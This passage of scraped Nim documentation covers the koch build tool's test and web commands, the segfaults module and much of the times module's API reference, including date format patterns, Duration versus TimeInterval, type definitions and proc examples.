name (`nim_temp`), so it doesn't overwrite your normal compiler. You can use this command to test different options, the same you would issue for the [boot command](#commands-boot-command). ### test command The test command can also be invoked with the alias `tests`. This command will compile and run `testament/tester.nim`, which is the main driver of Nim's test suite. You can pass options to the `test` command, they will be forwarded to the tester. See its source code for available options. ### web command The web command converts the documentation in the `doc` directory from rst to HTML. It also repeats the same operation but places the result in the `web/upload` which can be used to update the website at <https://nim-lang.org>. By default, the documentation will be built in parallel using the number of available CPU cores. If any documentation build sub-commands fail, they will be rerun in serial fashion so that meaningful error output can be gathered for inspection. The `--parallelBuild:n` switch or configuration option can be used to force a specific number of parallel jobs or run everything serially from the start (`n == 1`). nim segfaults segfaults ========= This modules registers a signal handler that turns access violations / segfaults into a `NilAccessDefect` exception. To be able to catch a NilAccessDefect all you have to do is to import this module. Tested on these OSes: Linux, Windows, OSX Imports ------- <posix> nim times times ===== The `times` module contains routines and types for dealing with time using the [proleptic Gregorian calendar](https://en.wikipedia.org/wiki/Proleptic_Gregorian_calendar). It's also available for the [JavaScript target](backends#backends-the-javascript-target). Although the `times` module supports nanosecond time resolution, the resolution used by `getTime()` depends on the platform and backend (JS is limited to millisecond precision). Examples -------- ``` import times, os # Simple benchmarking let time = cpuTime() sleep(100) # Replace this with something to be timed echo "Time taken: ", cpuTime() - time # Current date & time let now1 = now() # Current timestamp as a DateTime in local time let now2 = now().utc # Current timestamp as a DateTime in UTC let now3 = getTime() # Current timestamp as a Time # Arithmetic using Duration echo "One hour from now : ", now() + initDuration(hours = 1) # Arithmetic using TimeInterval echo "One year from now : ", now() + 1.years echo "One month from now : ", now() + 1.months ``` Parsing and Formatting Dates ---------------------------- The `DateTime` type can be parsed and formatted using the different `parse` and `format` procedures. ``` let dt = parse("2000-01-01", "yyyy-MM-dd") echo dt.format("yyyy-MM-dd") ``` The different format patterns that are supported are documented below. | Pattern | Description | Example | | --- | --- | --- | | `d` | Numeric value representing the day of the month, it will be either one or two digits long. | `1/04/2012 -> 1``21/04/2012 -> 21` | | `dd` | Same as above, but is always two digits. | `1/04/2012 -> 01``21/04/2012 -> 21` | | `ddd` | Three letter string which indicates the day of the week. | `Saturday -> Sat``Monday -> Mon` | | `dddd` | Full string for the day of the week. | `Saturday -> Saturday``Monday -> Monday` | | `h` | The hours in one digit if possible. Ranging from 1-12. | `5pm -> 5``2am -> 2` | | `hh` | The hours in two digits always. If the hour is one digit, 0 is prepended. | `5pm -> 05``11am -> 11` | | `H` | The hours in one digit if possible, ranging from 0-23. | `5pm -> 17``2am -> 2` | | `HH` | The hours in two digits always. 0 is prepended if the hour is one digit. | `5pm -> 17``2am -> 02` | | `m` | The minutes in one digit if possible. | `5:30 -> 30``2:01 -> 1` | | `mm` | Same as above but always two digits, 0 is prepended if the minute is one digit. | `5:30 -> 30``2:01 -> 01` | | `M` | The month in one digit if possible. | `September -> 9``December -> 12` | | `MM` | The month in two digits always. 0 is prepended if the month value is one digit. | `September -> 09``December -> 12` | | `MMM` | Abbreviated three-letter form of the month. | `September -> Sep``December -> Dec` | | `MMMM` | Full month string, properly capitalized. | `September -> September` | | `s` | Seconds as one digit if possible. | `00:00:06 -> 6` | | `ss` | Same as above but always two digits. 0 is prepended if the second is one digit. | `00:00:06 -> 06` | | `t` | `A` when time is in the AM. `P` when time is in the PM. | `5pm -> P``2am -> A` | | `tt` | Same as above, but `AM` and `PM` instead of `A` and `P` respectively. | `5pm -> PM``2am -> AM` | | `yy` | The last two digits of the year. When parsing, the current century is assumed. | `2012 AD -> 12` | | `yyyy` | The year, padded to at least four digits. Is always positive, even when the year is BC. When the year is more than four digits, '+' is prepended. | `2012 AD -> 2012``24 AD -> 0024``24 BC -> 00024``12345 AD -> +12345` | | `YYYY` | The year without any padding. Is always positive, even when the year is BC. | `2012 AD -> 2012``24 AD -> 24``24 BC -> 24``12345 AD -> 12345` | | `uuuu` | The year, padded to at least four digits. Will be negative when the year is BC. When the year is more than four digits, '+' is prepended unless the year is BC. | `2012 AD -> 2012``24 AD -> 0024``24 BC -> -0023``12345 AD -> +12345` | | `UUUU` | The year without any padding. Will be negative when the year is BC. | `2012 AD -> 2012``24 AD -> 24``24 BC -> -23``12345 AD -> 12345` | | `z` | Displays the timezone offset from UTC. | `UTC+7 -> +7``UTC-5 -> -5` | | `zz` | Same as above but with leading 0. | `UTC+7 -> +07``UTC-5 -> -05` | | `zzz` | Same as above but with `:mm` where *mm* represents minutes. | `UTC+7 -> +07:00``UTC-5 -> -05:00` | | `zzzz` | Same as above but with `:ss` where *ss* represents seconds. | `UTC+7 -> +07:00:00``UTC-5 -> -05:00:00` | | `g` | Era: AD or BC | `300 AD -> AD``300 BC -> BC` | | `fff` | Milliseconds display | `1000000 nanoseconds -> 1` | | `ffffff` | Microseconds display | `1000000 nanoseconds -> 1000` | | `fffffffff` | Nanoseconds display | `1000000 nanoseconds -> 1000000` | Other strings can be inserted by putting them in `''`. For example `hh'->'mm` will give `01->56`. The following characters can be inserted without quoting them: `:` `-` `(` `)` `/` `[` `]` `,`. A literal `'` can be specified with `''`. However you don't need to necessarily separate format patterns, as an unambiguous format string like `yyyyMMddhhmmss` is also valid (although only for years in the range 1..9999). Duration vs TimeInterval ------------------------ The `times` module exports two similar types that are both used to represent some amount of time: [Duration](#Duration) and [TimeInterval](#TimeInterval). This section explains how they differ and when one should be preferred over the other (short answer: use `Duration` unless support for months and years is needed). ### Duration A `Duration` represents a duration of time stored as seconds and nanoseconds. A `Duration` is always fully normalized, so `initDuration(hours = 1)` and `initDuration(minutes = 60)` are equivalent. Arithmetic with a `Duration` is very fast, especially when used with the `Time` type, since it only involves basic arithmetic. Because `Duration` is more performant and easier to understand it should generally preferred. ### TimeInterval A `TimeInterval` represents an amount of time expressed in calendar units, for example "1 year and 2 days". Since some units cannot be normalized (the length of a year is different for leap years for example), the `TimeInterval` type uses separate fields for every unit. The `TimeInterval`'s returned from this module generally don't normalize **anything**, so even units that could be normalized (like seconds, milliseconds and so on) are left untouched. Arithmetic with a `TimeInterval` can be very slow, because it requires timezone information. Since it's slower and more complex, the `TimeInterval` type should be avoided unless the program explicitly needs the features it offers that `Duration` doesn't have. ### How long is a day? It should be especially noted that the handling of days differs between `TimeInterval` and `Duration`. The `Duration` type always treats a day as exactly 86400 seconds. For `TimeInterval`, it's more complex. As an example, consider the amount of time between these two timestamps, both in the same timezone: > > * 2018-03-25T12:00+02:00 > * 2018-03-26T12:00+01:00 > > If only the date & time is considered, it appears that exactly one day has passed. However, the UTC offsets are different, which means that the UTC offset was changed somewhere in between. This happens twice each year for timezones that use daylight savings time. Because of this change, the amount of time that has passed is actually 25 hours. The `TimeInterval` type uses calendar units, and will say that exactly one day has passed. The `Duration` type on the other hand normalizes everything to seconds, and will therefore say that 90000 seconds has passed, which is the same as 25 hours. See also -------- * [monotimes module](monotimes) Imports ------- <strutils>, <math>, <options>, <since>, <posix> Types ----- ``` Month = enum mJan = (1, "January"), mFeb = "February", mMar = "March", mApr = "April", mMay = "May", mJun = "June", mJul = "July", mAug = "August", mSep = "September", mOct = "October", mNov = "November", mDec = "December" ``` Represents a month. Note that the enum starts at `1`, so `ord(month)` will give the month number in the range `1..12`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L252) ``` WeekDay = enum dMon = "Monday", dTue = "Tuesday", dWed = "Wednesday", dThu = "Thursday", dFri = "Friday", dSat = "Saturday", dSun = "Sunday" ``` Represents a weekday. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L268) ``` MonthdayRange = range[1 .. 31] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L278) ``` HourRange = range[0 .. 23] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L279) ``` MinuteRange = range[0 .. 59] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L280) ``` SecondRange = range[0 .. 60] ``` Includes the value 60 to allow for a leap second. Note however that the `second` of a `DateTime` will never be a leap second. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L281) ``` YeardayRange = range[0 .. 365] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L284) ``` NanosecondRange = range[0 .. 999999999] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L285) ``` Time = object seconds: int64 nanosecond: NanosecondRange ``` Represents a point in time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L287) ``` DateTime = object of RootObj nanosecond: NanosecondRange second: SecondRange minute: MinuteRange hour: HourRange monthdayZero: int monthZero: int year: int weekday: WeekDay yearday: YeardayRange isDst: bool timezone: Timezone utcOffset: int ``` Represents a time in different parts. Although this type can represent leap seconds, they are generally not supported in this module. They are not ignored, but the `DateTime`'s returned by procedures in this module will never have a leap second. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L291) ``` Duration = object seconds: int64 nanosecond: NanosecondRange ``` Represents a fixed duration of time, meaning a duration that has constant length independent of the context. To create a new `Duration`, use [initDuration proc](#initDuration,int64,int64,int64,int64,int64,int64,int64,int64). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L309) ``` TimeUnit = enum Nanoseconds, Microseconds, Milliseconds, Seconds, Minutes, Hours, Days, Weeks, Months, Years ``` Different units of time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L317) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L317) ``` FixedTimeUnit = range[Nanoseconds .. Weeks] ``` Subrange of `TimeUnit` that only includes units of fixed duration. These are the units that can be represented by a `Duration`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L321) ``` TimeInterval = object nanoseconds*: int ## The number of nanoseconds microseconds*: int ## The number of microseconds milliseconds*: int ## The number of milliseconds seconds*: int ## The number of seconds minutes*: int ## The number of minutes hours*: int ## The number of hours days*: int ## The number of days weeks*: int ## The number of weeks months*: int ## The number of months years*: int ## The number of years ``` Represents a non-fixed duration of time. Can be used to add and subtract non-fixed time units from a [DateTime](#DateTime) or [Time](#Time). Create a new `TimeInterval` with [initTimeInterval proc](#initTimeInterval,int,int,int,int,int,int,int,int,int,int). Note that `TimeInterval` doesn't represent a fixed duration of time, since the duration of some units depend on the context (e.g a year can be either 365 or 366 days long). The non-fixed time units are years, months, days and week. Note that `TimeInterval`'s returned from the `times` module are never normalized. If you want to normalize a time unit, [Duration](#Duration) should be used instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L325) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L325) ``` Timezone = ref object zonedTimeFromTimeImpl: proc (x: Time): ZonedTime {...}{.tags: [], raises: [], gcsafe, locks: 0.} zonedTimeFromAdjTimeImpl: proc (x: Time): ZonedTime {...}{.tags: [], raises: [], gcsafe, locks: 0.} name: string ``` Timezone interface for supporting [DateTime](#DateTime)s of arbitrary timezones. The `times` module only supplies implementations for the systems local time and UTC. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L352) ``` ZonedTime = object time*: Time ## The point in time being represented. utcOffset*: int ## The offset in seconds west of UTC, ## including any offset due to DST. isDst*: bool ## Determines whether DST is in effect. ``` Represents a point in time with an associated UTC offset and DST flag. This type is only used for implementing timezones. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L362) ``` DurationParts = array[FixedTimeUnit, int64] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L370) ``` TimeIntervalParts = array[TimeUnit, int] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L371) ``` DateTimeLocale = object MMM*: array[mJan .. mDec, string] MMMM*: array[mJan .. mDec, string] ddd*: array[dMon .. dSun, string] dddd*: array[dMon .. dSun, string] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1426) ``` TimeFormat = object patterns: seq[byte] ## \ ## Contains the patterns encoded as bytes. ## Literal values are encoded in a special way. ## They start with ``Lit.byte``, then the length of the literal, then the ## raw char values of the literal. For example, the literal `foo` would ## be encoded as ``@[Lit.byte, 3.byte, 'f'.byte, 'o'.byte, 'o'.byte]``. formatStr: string ``` Represents a format for parsing and printing time types. To create a new `TimeFormat` use [initTimeFormat proc](#initTimeFormat,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1478) ``` TimeParseError = object of ValueError ``` Raised when parsing input using a `TimeFormat` fails. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1491) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1491) ``` TimeFormatParseError = object of ValueError ``` Raised when parsing a `TimeFormat` string fails. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1494) Consts ------ ``` DurationZero = (seconds: 0, nanosecond: 0) ``` Zero value for durations. Useful for comparisons. ``` doAssert initDuration(seconds = 1) > DurationZero doAssert initDuration(seconds = 0) == DurationZero ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L571) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L571) ``` DefaultLocale = (MMM: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"], MMMM: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], ddd: ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"], dddd: [ "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1498) Procs ----- ``` proc convert[T: SomeInteger](unitFrom, unitTo: FixedTimeUnit; quantity: T): T {...}{. inline.} ``` Convert a quantity of some duration unit to another duration unit. This proc only deals with integers, so the result might be truncated. **Example:** ``` doAssert convert(Days, Hours, 2) == 48 doAssert convert(Days, Weeks, 13) == 1 # Truncated doAssert convert(Seconds, Milliseconds, -1) == -1000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L399) ``` proc isLeapYear(year: int): bool {...}{.raises: [], tags: [].} ``` Returns true if `year` is a leap year. **Example:** ``` doAssert isLeapYear(2000) doAssert not isLeapYear(1900) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L423) ``` proc getDaysInMonth(month: Month; year: int): int {...}{.raises: [], tags: [].} ``` Get the number of days in `month` of `year`. **Example:** ``` doAssert getDaysInMonth(mFeb, 2000) == 29 doAssert getDaysInMonth(mFeb, 2001) == 28 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L430) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L430) ``` proc getDayOfYear(monthday: MonthdayRange; month: Month; year: int): YeardayRange {...}{. tags: [], raises: [], gcsafe, locks: 0.} ``` Returns the day of the year. Equivalent with `initDateTime(monthday, month, year, 0, 0, 0).yearday`. **Example:** ``` doAssert getDayOfYear(1, mJan, 2000) == 0 doAssert getDayOfYear(10, mJan, 2000) == 9 doAssert getDayOfYear(10, mFeb, 2000) == 40 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L481) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L481) ``` proc getDayOfWeek(monthday: MonthdayRange; month: Month; year: int): WeekDay {...}{. tags: [], raises: [], gcsafe, locks: 0.} ``` Returns the day of the week enum from day, month and year. Equivalent with `initDateTime(monthday, month, year, 0, 0, 0).weekday`. **Example:** ``` doAssert getDayOfWeek(13, mJun, 1990) == dWed doAssert $getDayOfWeek(13, mJun, 1990) == "Wednesday" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L501) ``` proc getDaysInYear(year: int): int {...}{.raises: [], tags: [].} ``` Get the number of days in a `year` **Example:** ``` doAssert getDaysInYear(2000) == 366 doAssert getDaysInYear(2001) == 365 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L518) ``` proc initDuration(nanoseconds, microseconds, milliseconds, seconds, minutes, hours, days, weeks: int64 = 0): Duration {...}{.raises: [], tags: [].} ``` Create a new [Duration](#Duration). **Example:** ``` let dur = initDuration(seconds = 1, milliseconds = 1) doAssert dur.inMilliseconds == 1001 doAssert dur.inSeconds == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L579) ``` proc inWeeks(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole weeks. **Example:** ``` let dur = initDuration(days = 8) doAssert dur.inWeeks == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L620) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L620) ``` proc inDays(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole days. **Example:** ``` let dur = initDuration(hours = -50) doAssert dur.inDays == -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L627) ``` proc inHours(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole hours. **Example:** ``` let dur = initDuration(minutes = 60, days = 2) doAssert dur.inHours == 49 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L634) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L634) ``` proc inMinutes(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole minutes. **Example:** ``` let dur = initDuration(hours = 2, seconds = 10) doAssert dur.inMinutes == 120 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L641) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L641) ``` proc inSeconds(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole seconds. **Example:** ``` let dur = initDuration(hours = 2, milliseconds = 10) doAssert dur.inSeconds == 2 * 60 * 60 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L648) ``` proc inMilliseconds(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole milliseconds. **Example:** ``` let dur = initDuration(seconds = -2) doAssert dur.inMilliseconds == -2000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L655) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L655) ``` proc inMicroseconds(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole microseconds. **Example:** ``` let dur = initDuration(seconds = -2) doAssert dur.inMicroseconds == -2000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L662) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L662) ``` proc inNanoseconds(dur: Duration): int64 {...}{.raises: [], tags: [].} ``` Convert the duration to the number of whole nanoseconds. **Example:** ``` let dur = initDuration(seconds = -2) doAssert dur.inNanoseconds == -2000000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L669) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L669) ``` proc toParts(dur: Duration): DurationParts {...}{.raises: [], tags: [].} ``` Converts a duration into an array consisting of fixed time units. Each value in the array gives information about a specific unit of time, for example `result[Days]` gives a count of days. This procedure is useful for converting `Duration` values to strings. **Example:** ``` var dp = toParts(initDuration(weeks = 2, days = 1)) doAssert dp[Days] == 1 doAssert dp[Weeks] == 2 doAssert dp[Minutes] == 0 dp = toParts(initDuration(days = -1)) doAssert dp[Days] == -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L676) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L676) ``` proc `$`(dur: Duration): string {...}{.raises: [], tags: [].} ``` Human friendly string representation of a `Duration`. **Example:** ``` doAssert $initDuration(seconds = 2) == "2 seconds" doAssert $initDuration(weeks = 1, days = 2) == "1 week and 2 days" doAssert $initDuration(hours = 1, minutes = 2, seconds = 3) == "1 hour, 2 minutes, and 3 seconds" doAssert $initDuration(milliseconds = -1500) == "-1 second and -500 milliseconds" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L711) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L711) ``` proc `+`(a, b: Duration): Duration {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntAddDuration", raises: [], tags: [].} ``` Add two durations together. **Example:** ``` doAssert initDuration(seconds = 1) + initDuration(days = 1) == initDuration(seconds = 1, days = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L730) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L730) ``` proc `-`(a, b: Duration): Duration {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntSubDuration", raises: [], tags: [].} ``` Subtract a duration from another. **Example:** ``` doAssert initDuration(seconds = 1, days = 1) - initDuration(seconds = 1) == initDuration(days = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L737) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L737) ``` proc `-`(a: Duration): Duration {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntReverseDuration", raises: [], tags: [].} ``` Reverse a duration. **Example:** ``` doAssert -initDuration(seconds = 1) == initDuration(seconds = -1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L744) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L744) ``` proc `<`(a, b: Duration): bool {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntLtDuration", raises: [], tags: [].} ``` Note that a duration can be negative, so even if `a < b` is true `a` might represent a larger absolute duration. Use `abs(a) < abs(b)` to compare the absolute duration. **Example:** ``` doAssert initDuration(seconds = 1) < initDuration(seconds = 2) doAssert initDuration(seconds = -2) < initDuration(seconds = 1) doAssert initDuration(seconds = -2).abs < initDuration(seconds = 1).abs == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L750) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L750) ``` proc `<=`(a, b: Duration): bool {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntLeDuration", raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L762) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L762) ``` proc `==`(a, b: Duration): bool {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntEqDuration", raises: [], tags: [].} ``` **Example:** ``` let d1 = initDuration(weeks = 1) d2 = initDuration(days = 7) doAssert d1 == d2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L765) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L765) ``` proc `*`(a: int64; b: Duration): Duration {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntMulInt64Duration", raises: [], tags: [].} ``` Multiply a duration by some scalar. **Example:** ``` doAssert 5 * initDuration(seconds = 1) == initDuration(seconds = 5) doAssert 3 * initDuration(minutes = 45) == initDuration(hours = 2, minutes = 15) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L773) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L773) ``` proc `*`(a: Duration; b: int64): Duration {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntMulDuration", raises: [], tags: [].} ``` Multiply a duration by some scalar. **Example:** ``` doAssert initDuration(seconds = 1) * 5 == initDuration(seconds = 5) doAssert initDuration(minutes = 45) * 3 == initDuration(hours = 2, minutes = 15) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L781) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L781) ``` proc `+=`(d1: var Duration; d2: Duration) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L789) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L789) ``` proc `-=`(dt: var Duration; ti: Duration) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L792) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L792) ``` proc `*=`(a: var Duration; b: int) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L795) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L795) ``` proc `div`(a: Duration; b: int64): Duration {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntDivDuration", raises: [], tags: [].} ``` Integer division for durations. **Example:** ``` doAssert initDuration(seconds = 3) div 2 == initDuration(milliseconds = 1500) doAssert initDuration(minutes = 45) div 30 == initDuration(minutes = 1, seconds = 30) doAssert initDuration(nanoseconds = 3) div 2 == initDuration(nanoseconds = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L798) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L798) ``` proc high(typ: typedesc[Duration]): Duration ``` Get the longest representable duration. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L811) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L811) ``` proc low(typ: typedesc[Duration]): Duration ``` Get the longest representable duration of negative direction. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L815) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L815) ``` proc abs(a: Duration): Duration {...}{.raises: [], tags: [].} ``` **Example:** ``` doAssert initDuration(milliseconds = -1500).abs == initDuration(milliseconds = 1500) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L819) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L819) ``` proc initTime(unix: int64; nanosecond: NanosecondRange): Time {...}{.raises: [], tags: [].} ``` Create a [Time](#Time) from a unix timestamp and a nanosecond part. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L829) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L829) ``` proc nanosecond(time: Time): NanosecondRange {...}{.raises: [], tags: [].} ``` Get the fractional part of a `Time` as the number of nanoseconds of the second. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L834) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L834) ``` proc fromUnix(unix: int64): Time {...}{.gcsafe, locks: 0, tags: [], raises: [], noSideEffect.} ``` Convert a unix timestamp (seconds since `1970-01-01T00:00:00Z`) to a `Time`. **Example:** ``` doAssert $fromUnix(0).utc == "1970-01-01T00:00:00Z" ``` 